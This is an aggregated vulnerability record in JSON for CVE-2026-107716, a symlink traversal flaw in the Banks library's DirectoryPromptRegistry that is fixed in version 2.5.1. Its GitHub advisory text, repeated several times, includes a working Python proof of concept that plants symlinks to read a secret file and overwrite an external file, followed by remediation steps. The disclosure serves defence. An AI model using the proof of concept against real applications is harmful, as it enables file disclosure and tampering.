{"id":"CVE-2026-107716","aliases":["EUVD-2026-95340","GHSA-556j-vv39-8rqv","PYSEC-2026-4201","RHLW-2026-4aeb7d27ff8d2e0d"],"status":"published","title":"Banks: Symlink traversal and arbitrary file disclosure/overwrite in DirectoryPromptRegistry","description":"Banks generates meaningful LLM prompts using a simple template language. Prior to 2.5.1, Banks DirectoryPromptRegistry does not reject symbolic links for index.json or discovered and existing .jinja prompt files. In an application where untrusted users can influence a prompt directory, DirectoryPromptRegistry._scan() and DirectoryPromptRegistry.get() can follow a link outside the registry root and disclose a file, while DirectoryPromptRegistry.set(), DirectoryPromptRegistry._save(), and DirectoryPromptRegistry._load() can read or overwrite an external link target. The issue requires attacker influence over the registry directory or its extracted contents. This issue is fixed in version 2.5.1.","severity":{"version":"4.0","score":7.3,"vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00134,"percentile":0.02982,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22","CWE-59"],"published":"2026-10-08T21:33:13Z","modified":"2026-11-10T08:30:02Z","fixes":[{"ecosystem":"PyPI","package":"banks","fixed_in":["2.5.1"],"sources":["ghsa","osv"]},{"ecosystem":"Red Hat Lightwell:PyPI","package":"banks","fixed_in":["2.5.0+rhlw.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"banks","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.5.0"},{"fixed":"2.5.1"}]}]},{"source":"osv","ecosystem":"PyPI","package":"banks","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.5.1"}]}],"versions":["0.0.1","0.0.2","0.0.3","0.1.0","0.1.1","0.2.0","0.3.0","0.3.1","0.4.1","0.5.0","0.6.0","1.0.0","1.1.0","1.2.0","1.2.1","1.3.0","1.4.0","1.5.0","1.6.0","1.6.1","1.7.0","1.7.1","1.8.0","2.0.0","2.1.0","2.1.1","2.1.2","2.1.3","2.2.0","2.3.0","2.4.0","2.4.1","2.4.2","2.4.3","2.4.4","2.4.5","2.5.0"]},{"source":"osv","ecosystem":"PyPI","package":"banks","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.5.1"}]}],"versions":["0.0.1","0.0.2","0.0.3","0.1.0","0.1.1","0.2.0","0.3.0","0.3.1","0.4.1","0.5.0","0.6.0","1.0.0","1.1.0","1.2.0","1.2.1","1.3.0","1.4.0","1.5.0","1.6.0","1.6.1","1.7.0","1.7.1","1.8.0","2.0.0","2.1.0","2.1.1","2.1.2","2.1.3","2.2.0","2.3.0","2.4.0","2.4.1","2.4.2","2.4.3","2.4.4","2.4.5","2.5.0"]},{"source":"osv","ecosystem":"Red Hat Lightwell:PyPI","package":"banks","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.5.0+rhlw.1"}]}],"versions":["0.0.1","0.0.2","0.0.3","0.1.0","0.1.1","0.2.0","0.3.0","0.3.1","0.4.1","0.5.0","0.6.0","1.0.0","1.1.0","1.2.0","1.2.1","1.3.0","1.4.0","1.5.0","1.6.0","1.6.1","1.7.0","1.7.1","1.8.0","2.0.0","2.1.0","2.1.1","2.1.2","2.1.3","2.2.0","2.3.0","2.4.0","2.4.1","2.4.2","2.4.3","2.4.4","2.4.5","2.5.0"]}],"products":[{"vendor":"masci","product":"banks"}],"references":[{"url":"https://github.com/masci/banks/security/advisories/GHSA-556j-vv39-8rqv","tags":["x_refsource_CONFIRM","advisory","web"]},{"url":"https://github.com/masci/banks/pull/79","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/masci/banks/commit/23ed13e50b4e217693fa5f9c30943fac8a41582f","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/masci/banks/releases/tag/v2.5.1","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/advisories/GHSA-556j-vv39-8rqv","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/107xxx/CVE-2026-107716.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107716","tags":["advisory"]},{"url":"https://github.com/masci/banks","tags":["package"]},{"url":"https://pypi.org/project/banks","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-107716","title":"Banks: Symlink traversal and arbitrary file disclosure/overwrite in DirectoryPromptRegistry","description":"Banks generates meaningful LLM prompts using a simple template language. Prior to 2.5.1, Banks DirectoryPromptRegistry does not reject symbolic links for index.json or discovered and existing .jinja prompt files. In an application where untrusted users can influence a prompt directory, DirectoryPromptRegistry._scan() and DirectoryPromptRegistry.get() can follow a link outside the registry root and disclose a file, while DirectoryPromptRegistry.set(), DirectoryPromptRegistry._save(), and DirectoryPromptRegistry._load() can read or overwrite an external link target. The issue requires attacker influence over the registry directory or its extracted contents. This issue is fixed in version 2.5.1.","status":"published","published":"2026-10-08T21:33:13.391Z","modified":"2026-10-09T15:13:19.781Z","cvss":[{"version":"4.0","score":7.3,"vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-22","CWE-59"],"updated_at":"2026-11-02T13:45:14.072357Z"}],"euvd":[{"id":"EUVD-2026-95340","description":"Banks generates meaningful LLM prompts using a simple template language. Prior to 2.5.1, Banks DirectoryPromptRegistry does not reject symbolic links for index.json or discovered and existing .jinja prompt files. In an application where untrusted users can influence a prompt directory, DirectoryPromptRegistry._scan() and DirectoryPromptRegistry.get() can follow a link outside the registry root and disclose a file, while DirectoryPromptRegistry.set(), DirectoryPromptRegistry._save(), and DirectoryPromptRegistry._load() can read or overwrite an external link target. The issue requires attacker influence over the registry directory or its extracted contents. This issue is fixed in version 2.5.1.","status":"published","published":"2026-10-08T21:33:13Z","modified":"2026-10-09T15:13:19Z","cvss":[{"version":"4.0","score":7.3,"vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T17:27:25.010362Z"}],"ghsa":[{"id":"GHSA-556j-vv39-8rqv","title":"Banks: Symlink traversal and arbitrary file disclosure/overwrite in DirectoryPromptRegistry","description":"### Summary\nIn `banks.registries.DirectoryPromptRegistry`, prompt file paths and the index file (`index.json`) do not refuse symbolic links. When a prompt directory contains or accepts untrusted files (e.g. unpacked archives, shared repositories, or multi-tenant folders), symbolic links pointing outside the registry root can be used to disclose arbitrary files via `_scan()` / `get()` or overwrite arbitrary files via `set()` / `_save()`.\n\n### Details\nFollowing PR #77, `DirectoryPromptRegistry` validates path resolution for prompt names. However:\n1. `self._index_path` (`index.json`) is not checked for symbolic links. A symlink pointing to an external target (e.g. a configuration file) will be overwritten by `_save()` upon `reg.set()`, or read via `_load()`.\n2. In `_scan()`, discovered `.jinja` files are opened and indexed without checking if `path.is_symlink()` or if the resolved path escapes the registry root. A symlink pointing to a sensitive file outside the root is read and indexed.\n3. In `set()`, `prompt_file.write_text(...)` is called without checking if `prompt_file` is an existing symbolic link pointing outside the root.\n\n### Impact\nArbitrary file disclosure (CWE-59 / CWE-200) and arbitrary file overwrite (CWE-59) in applications where prompt directories can be influenced by untrusted users or extracted from archives.\n\n### Proof of Concept\n```python\nimport os\nfrom pathlib import Path\nfrom banks.registries.directory import DirectoryPromptRegistry, DEFAULT_INDEX_NAME\nfrom banks.prompt import Prompt\n\n# Disclose external file via symlink in prompt directory\nreg_dir = Path(\"/tmp/registry\")\nreg_dir.mkdir(exist_ok=True)\nsecret = Path(\"/tmp/secret.txt\")\nsecret.write_text(\"SECRET_API_TOKEN\")\n\nos.symlink(secret, reg_dir / \"leak.0.jinja\")\nreg = DirectoryPromptRegistry(reg_dir, force_reindex=True)\nprint(\"Disclosed content:\", reg.get(name=\"leak\", version=\"0\").raw)\n\n# Overwrite external file via symlink index\ntarget = Path(\"/tmp/target.conf\")\ntarget.write_text(\"ORIGINAL\")\n(reg_dir / DEFAULT_INDEX_NAME).unlink(missing_ok=True)\nos.symlink(target, reg_dir / DEFAULT_INDEX_NAME)\nreg.set(prompt=Prompt(\"pwn\", name=\"test\", version=\"1\"))\nprint(\"Target overwritten:\", target.read_text())\n```\n\n### Remediation\n1. In `_validate_index_path()`: verify `_index_path` is not a symlink and resolves within `_path`.\n2. In `_scan()`: reject `path.is_symlink()` and check `path.resolve().is_relative_to(root)`.\n3. In `set()`: reject existing symbolic links before writing.\n\nA tested fix and regression tests have been prepared and pushed to:\nhttps://github.com/jankesec/banks/tree/fix-directory-registry-symlinks-and-nesting","status":"published","published":"2026-10-08T22:10:07Z","modified":"2026-10-08T22:10:07Z","cwes":["CWE-22","CWE-59"],"updated_at":"2026-11-02T14:41:30.097746Z"}],"nvd":[{"id":"CVE-2026-107716","description":"Banks generates meaningful LLM prompts using a simple template language. Prior to 2.5.1, Banks DirectoryPromptRegistry does not reject symbolic links for index.json or discovered and existing .jinja prompt files. In an application where untrusted users can influence a prompt directory, DirectoryPromptRegistry._scan() and DirectoryPromptRegistry.get() can follow a link outside the registry root and disclose a file, while DirectoryPromptRegistry.set(), DirectoryPromptRegistry._save(), and DirectoryPromptRegistry._load() can read or overwrite an external link target. The issue requires attacker influence over the registry directory or its extracted contents. This issue is fixed in version 2.5.1.","status":"published","published":"2026-10-08T22:17:27.323Z","modified":"2026-10-09T16:17:23.31Z","cvss":[{"version":"4.0","score":7.3,"vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"}],"cwes":["CWE-22","CWE-59"],"updated_at":"2026-11-02T14:12:55.142936Z"}],"osv":[{"id":"CVE-2026-107716","title":"Banks: Symlink traversal and arbitrary file disclosure/overwrite in DirectoryPromptRegistry","description":"Banks generates meaningful LLM prompts using a simple template language. Prior to 2.5.1, Banks DirectoryPromptRegistry does not reject symbolic links for index.json or discovered and existing .jinja prompt files. In an application where untrusted users can influence a prompt directory, DirectoryPromptRegistry._scan() and DirectoryPromptRegistry.get() can follow a link outside the registry root and disclose a file, while DirectoryPromptRegistry.set(), DirectoryPromptRegistry._save(), and DirectoryPromptRegistry._load() can read or overwrite an external link target. The issue requires attacker influence over the registry directory or its extracted contents. This issue is fixed in version 2.5.1.","status":"published","published":"2026-10-08T21:33:13.391Z","modified":"2026-10-28T02:31:10.083222911Z","cvss":[{"version":"4.0","score":7.3,"vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-22","CWE-59"],"updated_at":"2026-11-02T15:44:54.933106Z"},{"id":"RHLW-2026-4aeb7d27ff8d2e0d","title":"Lightwell Security Advisory: banks 2.5.0+rhlw.1","description":"Red Hat Lightwell has released banks 2.5.0+rhlw.1 with a backported security fix.\n\nCVE-2026-107716: Banks: Symlink traversal and arbitrary file disclosure/overwrite in DirectoryPromptRegistry\n\nThis patched artifact is a drop-in replacement for banks 2.5.0 from PyPI.","status":"published","published":"2026-11-06T21:43:43Z","modified":"2026-11-10T08:30:02.387065701Z","cvss":[{"version":"4.0","score":7.3,"vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-10T08:55:24.395105Z"},{"id":"GHSA-556j-vv39-8rqv","title":"Banks: Symlink traversal and arbitrary file disclosure/overwrite in DirectoryPromptRegistry","description":"### Summary\nIn `banks.registries.DirectoryPromptRegistry`, prompt file paths and the index file (`index.json`) do not refuse symbolic links. When a prompt directory contains or accepts untrusted files (e.g. unpacked archives, shared repositories, or multi-tenant folders), symbolic links pointing outside the registry root can be used to disclose arbitrary files via `_scan()` / `get()` or overwrite arbitrary files via `set()` / `_save()`.\n\n### Details\nFollowing PR #77, `DirectoryPromptRegistry` validates path resolution for prompt names. However:\n1. `self._index_path` (`index.json`) is not checked for symbolic links. A symlink pointing to an external target (e.g. a configuration file) will be overwritten by `_save()` upon `reg.set()`, or read via `_load()`.\n2. In `_scan()`, discovered `.jinja` files are opened and indexed without checking if `path.is_symlink()` or if the resolved path escapes the registry root. A symlink pointing to a sensitive file outside the root is read and indexed.\n3. In `set()`, `prompt_file.write_text(...)` is called without checking if `prompt_file` is an existing symbolic link pointing outside the root.\n\n### Impact\nArbitrary file disclosure (CWE-59 / CWE-200) and arbitrary file overwrite (CWE-59) in applications where prompt directories can be influenced by untrusted users or extracted from archives.\n\n### Proof of Concept\n```python\nimport os\nfrom pathlib import Path\nfrom banks.registries.directory import DirectoryPromptRegistry, DEFAULT_INDEX_NAME\nfrom banks.prompt import Prompt\n\n# Disclose external file via symlink in prompt directory\nreg_dir = Path(\"/tmp/registry\")\nreg_dir.mkdir(exist_ok=True)\nsecret = Path(\"/tmp/secret.txt\")\nsecret.write_text(\"SECRET_API_TOKEN\")\n\nos.symlink(secret, reg_dir / \"leak.0.jinja\")\nreg = DirectoryPromptRegistry(reg_dir, force_reindex=True)\nprint(\"Disclosed content:\", reg.get(name=\"leak\", version=\"0\").raw)\n\n# Overwrite external file via symlink index\ntarget = Path(\"/tmp/target.conf\")\ntarget.write_text(\"ORIGINAL\")\n(reg_dir / DEFAULT_INDEX_NAME).unlink(missing_ok=True)\nos.symlink(target, reg_dir / DEFAULT_INDEX_NAME)\nreg.set(prompt=Prompt(\"pwn\", name=\"test\", version=\"1\"))\nprint(\"Target overwritten:\", target.read_text())\n```\n\n### Remediation\n1. In `_validate_index_path()`: verify `_index_path` is not a symlink and resolves within `_path`.\n2. In `_scan()`: reject `path.is_symlink()` and check `path.resolve().is_relative_to(root)`.\n3. In `set()`: reject existing symbolic links before writing.\n\nA tested fix and regression tests have been prepared and pushed to:\nhttps://github.com/jankesec/banks/tree/fix-directory-registry-symlinks-and-nesting","status":"published","published":"2026-10-08T22:10:07Z","modified":"2026-10-15T14:55:55.950976679Z","cwes":["CWE-22","CWE-59"],"updated_at":"2026-11-02T15:46:37.864461Z"},{"id":"PYSEC-2026-4201","title":"Banks: Symlink traversal and arbitrary file disclosure/overwrite in DirectoryPromptRegistry","description":"### Summary\nIn `banks.registries.DirectoryPromptRegistry`, prompt file paths and the index file (`index.json`) do not refuse symbolic links. When a prompt directory contains or accepts untrusted files (e.g. unpacked archives, shared repositories, or multi-tenant folders), symbolic links pointing outside the registry root can be used to disclose arbitrary files via `_scan()` / `get()` or overwrite arbitrary files via `set()` / `_save()`.\n\n### Details\nFollowing PR #77, `DirectoryPromptRegistry` validates path resolution for prompt names. However:\n1. `self._index_path` (`index.json`) is not checked for symbolic links. A symlink pointing to an external target (e.g. a configuration file) will be overwritten by `_save()` upon `reg.set()`, or read via `_load()`.\n2. In `_scan()`, discovered `.jinja` files are opened and indexed without checking if `path.is_symlink()` or if the resolved path escapes the registry root. A symlink pointing to a sensitive file outside the root is read and indexed.\n3. In `set()`, `prompt_file.write_text(...)` is called without checking if `prompt_file` is an existing symbolic link pointing outside the root.\n\n### Impact\nArbitrary file disclosure (CWE-59 / CWE-200) and arbitrary file overwrite (CWE-59) in applications where prompt directories can be influenced by untrusted users or extracted from archives.\n\n### Proof of Concept\n```python\nimport os\nfrom pathlib import Path\nfrom banks.registries.directory import DirectoryPromptRegistry, DEFAULT_INDEX_NAME\nfrom banks.prompt import Prompt\n\n# Disclose external file via symlink in prompt directory\nreg_dir = Path(\"/tmp/registry\")\nreg_dir.mkdir(exist_ok=True)\nsecret = Path(\"/tmp/secret.txt\")\nsecret.write_text(\"SECRET_API_TOKEN\")\n\nos.symlink(secret, reg_dir / \"leak.0.jinja\")\nreg = DirectoryPromptRegistry(reg_dir, force_reindex=True)\nprint(\"Disclosed content:\", reg.get(name=\"leak\", version=\"0\").raw)\n\n# Overwrite external file via symlink index\ntarget = Path(\"/tmp/target.conf\")\ntarget.write_text(\"ORIGINAL\")\n(reg_dir / DEFAULT_INDEX_NAME).unlink(missing_ok=True)\nos.symlink(target, reg_dir / DEFAULT_INDEX_NAME)\nreg.set(prompt=Prompt(\"pwn\", name=\"test\", version=\"1\"))\nprint(\"Target overwritten:\", target.read_text())\n```\n\n### Remediation\n1. In `_validate_index_path()`: verify `_index_path` is not a symlink and resolves within `_path`.\n2. In `_scan()`: reject `path.is_symlink()` and check `path.resolve().is_relative_to(root)`.\n3. In `set()`: reject existing symbolic links before writing.\n\nA tested fix and regression tests have been prepared and pushed to:\nhttps://github.com/jankesec/banks/tree/fix-directory-registry-symlinks-and-nesting","status":"published","published":"2026-10-15T10:22:54.200736Z","modified":"2026-10-15T14:45:06.048658626Z","updated_at":"2026-11-02T15:52:57.671918Z"}]}}